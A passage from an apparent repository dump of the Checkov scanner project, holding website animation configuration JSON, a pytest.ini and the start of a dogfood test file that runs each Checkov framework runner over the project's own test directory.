"eventTypeId\":\"SCROLL_INTO_VIEW\",\"action\":{\"id\":\"\",\"actionTypeId\":\"GENERAL_START_ACTION\",\"config\":{\"delay\":0,\"easing\":\"\",\"duration\":0,\"actionListId\":\"a-4\",\"affectedElements\":{},\"playInReverse\":false,\"autoStopEventId\":\"e-8\"}},\"mediaQueries\":[\"main\",\"medium\",\"small\",\"tiny\"],\"target\":{\"appliesTo\":\"ELEMENT\",\"styleBlockIds\":[],\"id\":\"5e11d9110227d065447b0858|2c47834e-f2f1-e74e-c9b5-cbb026d0fc1d\"},\"config\":{\"loop\":false,\"playInReverse\":false,\"scrollOffsetValue\":50,\"scrollOffsetUnit\":\"%\",\"delay\":null,\"direction\":null,\"effectIn\":null},\"createdOn\":1578560435713},\"e-9\":{\"id\":\"e-9\",\"eventTypeId\":\"SCROLL_INTO_VIEW\",\"action\":{\"id\":\"\",\"actionTypeId\":\"GENERAL_START_ACTION\",\"config\":{\"delay\":0,\"easing\":\"\",\"duration\":0,\"actionListId\":\"a-5\",\"affectedElements\":{},\"playInReverse\":false,\"autoStopEventId\":\"e-10\"}},\"mediaQueries\":[\"main\",\"medium\",\"small\",\"tiny\"],\"target\":{\"appliesTo\":\"ELEMENT\",\"styleBlockIds\":[],\"id\":\"5e11d9110227d065447b0858|9a5647e3-d873-cbc9-040c-e9df23694a6f\"},\"config\":{\"loop\":false,\"playInReverse\":false,\"scrollOffsetValue\":50,\"scrollOffsetUnit\":\"%\",\"delay\":null,\"direction\":null,\"effectIn\":null},\"createdOn\":1578560999447},\"e-11\":{\"id\":\"e-11\",\"eventTypeId\":\"SCROLL_INTO_VIEW\",\"action\":{\"id\":\"\",\"actionTypeId\":\"GENERAL_START_ACTION\",\"config\":{\"delay\":0,\"easing\":\"\",\"duration\":0,\"actionListId\":\"a-6\",\"affectedElements\":{},\"playInReverse\":false,\"autoStopEventId\":\"e-12\"}},\"mediaQueries\":[\"main\",\"medium\",\"small\",\"tiny\"],\"target\":{\"appliesTo\":\"ELEMENT\",\"styleBlockIds\":[],\"id\":\"5e11d9110227d065447b0858|5df5041b-b9fa-2857-565b-656654349300\"},\"config\":{\"loop\":false,\"playInReverse\":false,\"scrollOffsetValue\":30,\"scrollOffsetUnit\":\"%\",\"delay\":null,\"direction\":null,\"effectIn\":null},\"createdOn\":1578561254980}},\"actionLists\":{\"a\":{\"id\":\"a\",\"title\":\"Hero Enter View\",\"actionItemGroups\":[{\"actionItems\":[{\"id\":\"a-n\",\"actionTypeId\":\"TRANSFORM_MOVE\",\"config\":{\"delay\":0,\"easing\":\"\",\"duration\":500,\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".main-title\",\"selectorGuids\":[\"62879aac-0877-7ab5-f343-2632cf8c7d25\"]},\"xValue\":-200,\"xUnit\":\"PX\",\"yUnit\":\"PX\",\"zUnit\":\"PX\"}},{\"id\":\"a-n-14\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":0,\"easing\":\"\",\"duration\":500,\"target\":{\"useEventTarget\":\"SIBLINGS\",\"selector\":\".mouse-outer-wrapper\",\"selectorGuids\":[\"01199f49-1fa1-d1af-7210-b8136c3f60a5\"]},\"value\":0,\"unit\":\"\"}},{\"id\":\"a-n-13\",\"actionTypeId\":\"TRANSFORM_MOVE\",\"config\":{\"delay\":0,\"easing\":\"\",\"duration\":500,\"target\":{\"useEventTarget\":\"SIBLINGS\",\"selector\":\".mouse-outer-wrapper\",\"selectorGuids\":[\"01199f49-1fa1-d1af-7210-b8136c3f60a5\"]},\"yValue\":200,\"xUnit\":\"PX\",\"yUnit\":\"PX\",\"zUnit\":\"PX\"}},{\"id\":\"a-n-11\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":0,\"easing\":\"\",\"duration\":500,\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".button\",\"selectorGuids\":[\"0671da65-fcae-8416-d37c-e9aa73661f92\"]},\"value\":0,\"unit\":\"\"}},{\"id\":\"a-n-6\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":0,\"easing\":\"\",\"duration\":500,\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".hero-text\",\"selectorGuids\":[\"80c8f6a8-79f0-ee83-861a-05e7b5d2048b\"]},\"value\":0,\"unit\":\"\"}},{\"id\":\"a-n-5\",\"actionTypeId\":\"TRANSFORM_MOVE\",\"config\":{\"delay\":0,\"easing\":\"\",\"duration\":500,\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".hero-text\",\"selectorGuids\":[\"80c8f6a8-79f0-ee83-861a-05e7b5d2048b\"]},\"xValue\":-200,\"xUnit\":\"PX\",\"yUnit\":\"PX\",\"zUnit\":\"PX\"}},{\"id\":\"a-n-2\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":0,\"easing\":\"\",\"duration\":500,\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".main-title\",\"selectorGuids\":[\"62879aac-0877-7ab5-f343-2632cf8c7d25\"]},\"value\":0,\"unit\":\"\"}},{\"id\":\"a-n-9\",\"actionTypeId\":\"TRANSFORM_MOVE\",\"config\":{\"delay\":0,\"easing\":\"\",\"duration\":1000,\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".button\",\"selectorGuids\":[\"0671da65-fcae-8416-d37c-e9aa73661f92\"]},\"xValue\":-200,\"xUnit\":\"PX\",\"yUnit\":\"PX\",\"zUnit\":\"PX\"}}]},{\"actionItems\":[{\"id\":\"a-n-3\",\"actionTypeId\":\"TRANSFORM_MOVE\",\"config\":{\"delay\":0,\"easing\":\"outQuart\",\"duration\":1000,\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".main-title\",\"selectorGuids\":[\"62879aac-0877-7ab5-f343-2632cf8c7d25\"]},\"xValue\":0,\"xUnit\":\"PX\",\"yUnit\":\"PX\",\"zUnit\":\"PX\"}},{\"id\":\"a-n-4\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":0,\"easing\":\"outQuart\",\"duration\":1000,\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".main-title\",\"selectorGuids\":[\"62879aac-0877-7ab5-f343-2632cf8c7d25\"]},\"value\":1,\"unit\":\"\"}},{\"id\":\"a-n-7\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":150,\"easing\":\"outQuart\",\"duration\":1000,\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".hero-text\",\"selectorGuids\":[\"80c8f6a8-79f0-ee83-861a-05e7b5d2048b\"]},\"value\":1,\"unit\":\"\"}},{\"id\":\"a-n-8\",\"actionTypeId\":\"TRANSFORM_MOVE\",\"config\":{\"delay\":150,\"easing\":\"outQuart\",\"duration\":1000,\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".hero-text\",\"selectorGuids\":[\"80c8f6a8-79f0-ee83-861a-05e7b5d2048b\"]},\"xValue\":0,\"xUnit\":\"PX\",\"yUnit\":\"PX\",\"zUnit\":\"PX\"}},{\"id\":\"a-n-10\",\"actionTypeId\":\"TRANSFORM_MOVE\",\"config\":{\"delay\":300,\"easing\":\"outQuart\",\"duration\":1000,\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".button\",\"selectorGuids\":[\"0671da65-fcae-8416-d37c-e9aa73661f92\"]},\"xValue\":0,\"xUnit\":\"PX\",\"yUnit\":\"PX\",\"zUnit\":\"PX\"}},{\"id\":\"a-n-12\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":300,\"easing\":\"outQuart\",\"duration\":1000,\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".button\",\"selectorGuids\":[\"0671da65-fcae-8416-d37c-e9aa73661f92\"]},\"value\":1,\"unit\":\"\"}},{\"id\":\"a-n-15\",\"actionTypeId\":\"TRANSFORM_MOVE\",\"config\":{\"delay\":450,\"easing\":\"outQuart\",\"duration\":1000,\"target\":{\"useEventTarget\":\"SIBLINGS\",\"selector\":\".mouse-outer-wrapper\",\"selectorGuids\":[\"01199f49-1fa1-d1af-7210-b8136c3f60a5\"]},\"yValue\":0,\"xUnit\":\"PX\",\"yUnit\":\"PX\",\"zUnit\":\"PX\"}},{\"id\":\"a-n-16\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":450,\"easing\":\"outQuart\",\"duration\":1000,\"target\":{\"useEventTarget\":\"SIBLINGS\",\"selector\":\".mouse-outer-wrapper\",\"selectorGuids\":[\"01199f49-1fa1-d1af-7210-b8136c3f60a5\"]},\"value\":1,\"unit\":\"\"}}]}],\"createdOn\":1578558367114,\"useFirstGroupAsInitialState\":true},\"a-2\":{\"id\":\"a-2\",\"title\":\"Code Into View\",\"actionItemGroups\":[{\"actionItems\":[{\"id\":\"a-2-n-7\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":0,\"easing\":\"\",\"duration\":500,\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".btns-container.in-checkov-code\",\"selectorGuids\":[\"2af483a4-c642-da37-0305-c6185e1d209b\",\"a4567fdf-32c4-ff65-ac5e-d5873900eaa3\"]},\"value\":0,\"unit\":\"\"}},{\"id\":\"a-2-n-5\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":0,\"easing\":\"\",\"duration\":500,\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".checkov-code-img\",\"selectorGuids\":[\"98290caf-0866-1904-43f9-c03577b817ab\"]},\"value\":0,\"unit\":\"\"}},{\"id\":\"a-2-n-2\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":0,\"easing\":\"\",\"duration\":500,\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".checkov-code-text\",\"selectorGuids\":[\"9cf215c9-9bbe-4ff3-dca3-23341a15f432\"]},\"value\":0,\"unit\":\"\"}}]},{\"actionItems\":[{\"id\":\"a-2-n-4\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":0,\"easing\":\"outQuart\",\"duration\":1000,\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".checkov-code-text\",\"selectorGuids\":[\"9cf215c9-9bbe-4ff3-dca3-23341a15f432\"]},\"value\":1,\"unit\":\"\"}},{\"id\":\"a-2-n-6\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":500,\"easing\":\"outQuart\",\"duration\":1000,\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".checkov-code-img\",\"selectorGuids\":[\"98290caf-0866-1904-43f9-c03577b817ab\"]},\"value\":1,\"unit\":\"\"}}]},{\"actionItems\":[{\"id\":\"a-2-n-10\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":0,\"easing\":\"outQuart\",\"duration\":1000,\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".btns-container.in-checkov-code\",\"selectorGuids\":[\"2af483a4-c642-da37-0305-c6185e1d209b\",\"a4567fdf-32c4-ff65-ac5e-d5873900eaa3\"]},\"value\":1,\"unit\":\"\"}}]}],\"createdOn\":1578559467303,\"useFirstGroupAsInitialState\":true},\"a-3\":{\"id\":\"a-3\",\"title\":\"Features Into View\",\"actionItemGroups\":[{\"actionItems\":[{\"id\":\"a-3-n-10\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":0,\"easing\":\"\",\"duration\":500,\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".features-slider\",\"selectorGuids\":[\"dee3d9e6-6f8b-da30-5c66-d146d502b996\"]},\"value\":0,\"unit\":\"\"}},{\"id\":\"a-3-n-21\",\"actionTypeId\":\"GENERAL_DISPLAY\",\"config\":{\"delay\":0,\"easing\":\"\",\"duration\":0,\"value\":\"none\",\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".features-slider\",\"selectorGuids\":[\"dee3d9e6-6f8b-da30-5c66-d146d502b996\"]}}},{\"id\":\"a-3-n-16\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":0,\"easing\":\"\",\"duration\":500,\"target\":{\"useEventTarget\":\"CHILDREN\",\"id\":\"5e11d9110227d065447b0858|eac2d68d-fc11-a94e-75d2-6f14c0932f0b\"},\"value\":0,\"unit\":\"\"}},{\"id\":\"a-3-n-15\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":0,\"easing\":\"\",\"duration\":500,\"target\":{\"useEventTarget\":\"CHILDREN\",\"id\":\"5e11d9110227d065447b0858|786a4522-3a62-400e-500f-cf34d06f2c1a\"},\"value\":0,\"unit\":\"\"}},{\"id\":\"a-3-n-14\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":0,\"easing\":\"\",\"duration\":500,\"target\":{\"useEventTarget\":\"CHILDREN\",\"id\":\"5e11d9110227d065447b0858|5632d8de-e193-d205-fa3f-a5d5822de46c\"},\"value\":0,\"unit\":\"\"}},{\"id\":\"a-3-n-13\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":0,\"easing\":\"\",\"duration\":500,\"target\":{\"useEventTarget\":\"CHILDREN\",\"id\":\"5e11d9110227d065447b0858|36de43b8-a2aa-a879-e225-cfebb5a84785\"},\"value\":0,\"unit\":\"\"}},{\"id\":\"a-3-n-2\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":0,\"easing\":\"\",\"duration\":500,\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".main-title\",\"selectorGuids\":[\"62879aac-0877-7ab5-f343-2632cf8c7d25\"]},\"value\":0,\"unit\":\"\"}}]},{\"actionItems\":[{\"id\":\"a-3-n-22\",\"actionTypeId\":\"GENERAL_DISPLAY\",\"config\":{\"delay\":0,\"easing\":\"\",\"duration\":0,\"value\":\"block\",\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".features-slider\",\"selectorGuids\":[\"dee3d9e6-6f8b-da30-5c66-d146d502b996\"]}}}]},{\"actionItems\":[{\"id\":\"a-3-n-4\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":0,\"easing\":\"outQuart\",\"duration\":1000,\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".main-title\",\"selectorGuids\":[\"62879aac-0877-7ab5-f343-2632cf8c7d25\"]},\"value\":1,\"unit\":\"\"}},{\"id\":\"a-3-n-12\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":150,\"easing\":\"outQuart\",\"duration\":1000,\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".features-slider\",\"selectorGuids\":[\"dee3d9e6-6f8b-da30-5c66-d146d502b996\"]},\"value\":1,\"unit\":\"\"}},{\"id\":\"a-3-n-17\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":150,\"easing\":\"outQuart\",\"duration\":1000,\"target\":{\"useEventTarget\":\"CHILDREN\",\"id\":\"5e11d9110227d065447b0858|36de43b8-a2aa-a879-e225-cfebb5a84785\"},\"value\":1,\"unit\":\"\"}},{\"id\":\"a-3-n-18\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":300,\"easing\":\"outQuart\",\"duration\":1000,\"target\":{\"useEventTarget\":\"CHILDREN\",\"id\":\"5e11d9110227d065447b0858|5632d8de-e193-d205-fa3f-a5d5822de46c\"},\"value\":1,\"unit\":\"\"}},{\"id\":\"a-3-n-19\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":450,\"easing\":\"outQuart\",\"duration\":1000,\"target\":{\"useEventTarget\":\"CHILDREN\",\"id\":\"5e11d9110227d065447b0858|786a4522-3a62-400e-500f-cf34d06f2c1a\"},\"value\":1,\"unit\":\"\"}},{\"id\":\"a-3-n-20\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":600,\"easing\":\"outQuart\",\"duration\":1000,\"target\":{\"useEventTarget\":\"CHILDREN\",\"id\":\"5e11d9110227d065447b0858|eac2d68d-fc11-a94e-75d2-6f14c0932f0b\"},\"value\":1,\"unit\":\"\"}}]}],\"createdOn\":1578560165547,\"useFirstGroupAsInitialState\":true},\"a-4\":{\"id\":\"a-4\",\"title\":\"Source Into View\",\"actionItemGroups\":[{\"actionItems\":[{\"id\":\"a-4-n-10\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":0,\"easing\":\"\",\"duration\":500,\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".sources-slider\",\"selectorGuids\":[\"d19c9961-8580-cd1c-e7e7-60c19c561da3\"]},\"value\":0,\"unit\":\"\"}},{\"id\":\"a-4-n-19\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":0,\"easing\":\"\",\"duration\":500,\"target\":{\"useEventTarget\":\"CHILDREN\",\"id\":\"5e11d9110227d065447b0858|812568cb-81e5-4e69-8c5e-fc7c8f2bd132\"},\"value\":0,\"unit\":\"\"}},{\"id\":\"a-4-n-17\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":0,\"easing\":\"\",\"duration\":500,\"target\":{\"useEventTarget\":\"CHILDREN\",\"id\":\"5e11d9110227d065447b0858|2ac28bf5-1bfc-5d49-bc10-b77ba1199591\"},\"value\":0,\"unit\":\"\"}},{\"id\":\"a-4-n-15\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":0,\"easing\":\"\",\"duration\":500,\"target\":{\"useEventTarget\":\"CHILDREN\",\"id\":\"5e11d9110227d065447b0858|0384ec2a-14a0-3cc7-db9d-2cf6f9d474fa\"},\"value\":0,\"unit\":\"\"}},{\"id\":\"a-4-n-13\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":0,\"easing\":\"\",\"duration\":500,\"target\":{\"useEventTarget\":\"CHILDREN\",\"id\":\"5e11d9110227d065447b0858|5337569e-977b-a63c-3e01-5531a222e14d\"},\"value\":0,\"unit\":\"\"}},{\"id\":\"a-4-n-2\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":0,\"easing\":\"\",\"duration\":500,\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".main-title.center-title\",\"selectorGuids\":[\"62879aac-0877-7ab5-f343-2632cf8c7d25\",\"086621c7-6161-019a-5fcc-e47e0055b849\"]},\"value\":0,\"unit\":\"\"}}]},{\"actionItems\":[{\"id\":\"a-4-n-4\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":0,\"easing\":\"outQuart\",\"duration\":1000,\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".main-title.center-title\",\"selectorGuids\":[\"62879aac-0877-7ab5-f343-2632cf8c7d25\",\"086621c7-6161-019a-5fcc-e47e0055b849\"]},\"value\":1,\"unit\":\"\"}},{\"id\":\"a-4-n-12\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":150,\"easing\":\"outQuart\",\"duration\":1000,\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".sources-slider\",\"selectorGuids\":[\"d19c9961-8580-cd1c-e7e7-60c19c561da3\"]},\"value\":1,\"unit\":\"\"}},{\"id\":\"a-4-n-14\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":150,\"easing\":\"outQuart\",\"duration\":1000,\"target\":{\"useEventTarget\":\"CHILDREN\",\"id\":\"5e11d9110227d065447b0858|5337569e-977b-a63c-3e01-5531a222e14d\"},\"value\":1,\"unit\":\"\"}},{\"id\":\"a-4-n-16\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":300,\"easing\":\"outQuart\",\"duration\":1000,\"target\":{\"useEventTarget\":\"CHILDREN\",\"id\":\"5e11d9110227d065447b0858|0384ec2a-14a0-3cc7-db9d-2cf6f9d474fa\"},\"value\":1,\"unit\":\"\"}},{\"id\":\"a-4-n-18\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":450,\"easing\":\"outQuart\",\"duration\":1000,\"target\":{\"useEventTarget\":\"CHILDREN\",\"id\":\"5e11d9110227d065447b0858|2ac28bf5-1bfc-5d49-bc10-b77ba1199591\"},\"value\":1,\"unit\":\"\"}},{\"id\":\"a-4-n-20\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":600,\"easing\":\"outQuart\",\"duration\":1000,\"target\":{\"useEventTarget\":\"CHILDREN\",\"id\":\"5e11d9110227d065447b0858|812568cb-81e5-4e69-8c5e-fc7c8f2bd132\"},\"value\":1,\"unit\":\"\"}}]}],\"createdOn\":1578560443086,\"useFirstGroupAsInitialState\":true},\"a-5\":{\"id\":\"a-5\",\"title\":\"Twitter Into View\",\"actionItemGroups\":[{\"actionItems\":[{\"id\":\"a-5-n\",\"actionTypeId\":\"TRANSFORM_MOVE\",\"config\":{\"delay\":0,\"easing\":\"\",\"duration\":1000,\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".main-title.center-title\",\"selectorGuids\":[\"62879aac-0877-7ab5-f343-2632cf8c7d25\",\"086621c7-6161-019a-5fcc-e47e0055b849\"]},\"yValue\":-200,\"xUnit\":\"PX\",\"yUnit\":\"PX\",\"zUnit\":\"PX\"}},{\"id\":\"a-5-n-4\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":0,\"easing\":\"\",\"duration\":500,\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".twitter-container\",\"selectorGuids\":[\"c6ac2b7c-c72e-da87-4e3c-889195acdc58\"]},\"value\":0,\"unit\":\"\"}},{\"id\":\"a-5-n-3\",\"actionTypeId\":\"TRANSFORM_MOVE\",\"config\":{\"delay\":0,\"easing\":\"\",\"duration\":500,\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".twitter-container\",\"selectorGuids\":[\"c6ac2b7c-c72e-da87-4e3c-889195acdc58\"]},\"yValue\":200,\"xUnit\":\"PX\",\"yUnit\":\"PX\",\"zUnit\":\"PX\"}},{\"id\":\"a-5-n-2\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":0,\"easing\":\"\",\"duration\":500,\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".main-title.center-title\",\"selectorGuids\":[\"62879aac-0877-7ab5-f343-2632cf8c7d25\",\"086621c7-6161-019a-5fcc-e47e0055b849\"]},\"value\":0,\"unit\":\"\"}}]},{\"actionItems\":[{\"id\":\"a-5-n-5\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":0,\"easing\":\"outQuart\",\"duration\":1000,\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".main-title.center-title\",\"selectorGuids\":[\"62879aac-0877-7ab5-f343-2632cf8c7d25\",\"086621c7-6161-019a-5fcc-e47e0055b849\"]},\"value\":1,\"unit\":\"\"}},{\"id\":\"a-5-n-6\",\"actionTypeId\":\"TRANSFORM_MOVE\",\"config\":{\"delay\":0,\"easing\":\"outQuart\",\"duration\":1000,\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".main-title.center-title\",\"selectorGuids\":[\"62879aac-0877-7ab5-f343-2632cf8c7d25\",\"086621c7-6161-019a-5fcc-e47e0055b849\"]},\"yValue\":0,\"xUnit\":\"PX\",\"yUnit\":\"PX\",\"zUnit\":\"PX\"}},{\"id\":\"a-5-n-7\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":150,\"easing\":\"outQuart\",\"duration\":1000,\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".twitter-container\",\"selectorGuids\":[\"c6ac2b7c-c72e-da87-4e3c-889195acdc58\"]},\"value\":1,\"unit\":\"\"}},{\"id\":\"a-5-n-8\",\"actionTypeId\":\"TRANSFORM_MOVE\",\"config\":{\"delay\":150,\"easing\":\"outExpo\",\"duration\":1000,\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".twitter-container\",\"selectorGuids\":[\"c6ac2b7c-c72e-da87-4e3c-889195acdc58\"]},\"yValue\":0,\"xUnit\":\"PX\",\"yUnit\":\"PX\",\"zUnit\":\"PX\"}}]}],\"createdOn\":1578561003005,\"useFirstGroupAsInitialState\":true},\"a-6\":{\"id\":\"a-6\",\"title\":\"Community Into View\",\"actionItemGroups\":[{\"actionItems\":[{\"id\":\"a-6-n-4\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":0,\"easing\":\"\",\"duration\":500,\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".btns-container.ic-community\",\"selectorGuids\":[\"2af483a4-c642-da37-0305-c6185e1d209b\",\"b32acfb1-3340-1b29-63d6-053cd4897c5b\"]},\"value\":0,\"unit\":\"\"}},{\"id\":\"a-6-n-2\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":0,\"easing\":\"\",\"duration\":500,\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".main-title.center-title.community-title\",\"selectorGuids\":[\"62879aac-0877-7ab5-f343-2632cf8c7d25\",\"086621c7-6161-019a-5fcc-e47e0055b849\",\"ceb78c4e-306b-dd1e-6dc6-78600d8dbbb3\"]},\"value\":0,\"unit\":\"\"}}]},{\"actionItems\":[{\"id\":\"a-6-n-5\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":0,\"easing\":\"outQuart\",\"duration\":1000,\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".main-title.center-title.community-title\",\"selectorGuids\":[\"62879aac-0877-7ab5-f343-2632cf8c7d25\",\"086621c7-6161-019a-5fcc-e47e0055b849\",\"ceb78c4e-306b-dd1e-6dc6-78600d8dbbb3\"]},\"value\":1,\"unit\":\"\"}},{\"id\":\"a-6-n-8\",\"actionTypeId\":\"STYLE_OPACITY\",\"config\":{\"delay\":150,\"easing\":\"outQuart\",\"duration\":1000,\"target\":{\"useEventTarget\":\"CHILDREN\",\"selector\":\".btns-container.ic-community\",\"selectorGuids\":[\"2af483a4-c642-da37-0305-c6185e1d209b\",\"b32acfb1-3340-1b29-63d6-053cd4897c5b\"]},\"value\":1,\"unit\":\"\"}}]}],\"createdOn\":1578561260167,\"useFirstGroupAsInitialState\":true}},\"site\":{\"mediaQueries\":[{\"key\":\"main\",\"min\":992,\"max\":10000},{\"key\":\"medium\",\"min\":768,\"max\":991},{\"key\":\"small\",\"min\":480,\"max\":767},{\"key\":\"tiny\",\"min\":0,\"max\":479}]}}\n);\n"
  },
  {
    "path": "dogfood_tests/pytest.ini",
    "content": "[pytest]\naddopts = -n 2 --dist load -vv\n"
  },
  {
    "path": "dogfood_tests/test_checkov_dogfood.py",
    "content": "from __future__ import annotations\n\nimport logging\nfrom pathlib import Path\nfrom typing import TYPE_CHECKING\n\nimport pytest\n\nfrom checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.runners.runner_registry import RunnerRegistry\nfrom checkov.main import DEFAULT_RUNNERS\nfrom checkov.runner_filter import RunnerFilter\n\nif TYPE_CHECKING:\n    from _pytest.logging import LogCaptureFixture\n\n\nTESTS_DIR = Path(__file__).parent.parent / \"tests\"\n\n\ndef test_all_frameworks_are_tested() -> None:\n    # given\n    checkov_runners = {value for attr, value in CheckType.__dict__.items() if not attr.startswith(\"__\")}\n\n    # remove frameworks, which are not applicable\n    checkov_runners.difference_update(\n        {\n            CheckType.BITBUCKET_CONFIGURATION,\n            CheckType.GITHUB_CONFIGURATION,\n            CheckType.GITLAB_CONFIGURATION,\n            CheckType.JSON,\n            CheckType.SCA_IMAGE,\n            CheckType.SCA_PACKAGE,\n            CheckType.YAML,\n        }\n    )\n\n    assert checkov_runners == {\n        CheckType.ANSIBLE,\n        CheckType.ARGO_WORKFLOWS,\n        CheckType.ARM,\n        CheckType.AZURE_PIPELINES,\n        CheckType.BICEP,\n        CheckType.BITBUCKET_PIPELINES,\n        CheckType.CDK,\n        CheckType.CIRCLECI_PIPELINES,\n        CheckType.CLOUDFORMATION,\n        CheckType.DOCKERFILE,\n        CheckType.GITHUB_ACTIONS,\n        CheckType.GITLAB_CI,\n        CheckType.HELM,\n        CheckType.KUBERNETES,\n        CheckType.KUSTOMIZE,\n        CheckType.OPENAPI,\n        CheckType.SAST,\n        CheckType.SAST_JAVA,\n        CheckType.SAST_PYTHON,\n        CheckType.SAST_JAVASCRIPT,\n        CheckType.SAST_TYPESCRIPT,\n        CheckType.SAST_GOLANG,\n        CheckType.SECRETS,\n        CheckType.SERVERLESS,\n        CheckType.TERRAFORM,\n        CheckType.TERRAFORM_JSON,\n        CheckType.TERRAFORM_PLAN,\n        CheckType.POLICY_3D\n    }, \"Don't forget to add a test case for the new runner here\"\n\n\ndef test_ansible_framework(caplog: LogCaptureFixture) -> None:\n    run_framework_test(caplog=caplog, framework=CheckType.ANSIBLE)\n\n\ndef test_argo_workflows_framework(caplog: LogCaptureFixture) -> None:\n    run_framework_test(caplog=caplog, framework=CheckType.ARGO_WORKFLOWS)\n\n\ndef test_arm_framework(caplog: LogCaptureFixture) -> None:\n    excluded_paths = [\"arm/parser/examples/json/with_comments.json$\"]\n\n    run_framework_test(caplog=caplog, framework=CheckType.ARM, excluded_paths=excluded_paths)\n\n\ndef test_azure_pipelines_framework(caplog: LogCaptureFixture) -> None:\n    run_framework_test(caplog=caplog, framework=CheckType.AZURE_PIPELINES)\n\n\ndef test_bicep_framework(caplog: LogCaptureFixture) -> None:\n    excluded_paths = [\"bicep/examples/malformed.bicep$\"]\n\n    run_framework_test(caplog=caplog, framework=CheckType.BICEP, excluded_paths=excluded_paths)\n\n\ndef test_bitbucket_pipelines_framework(caplog: LogCaptureFixture) -> None:\n    run_framework_test(caplog=caplog, 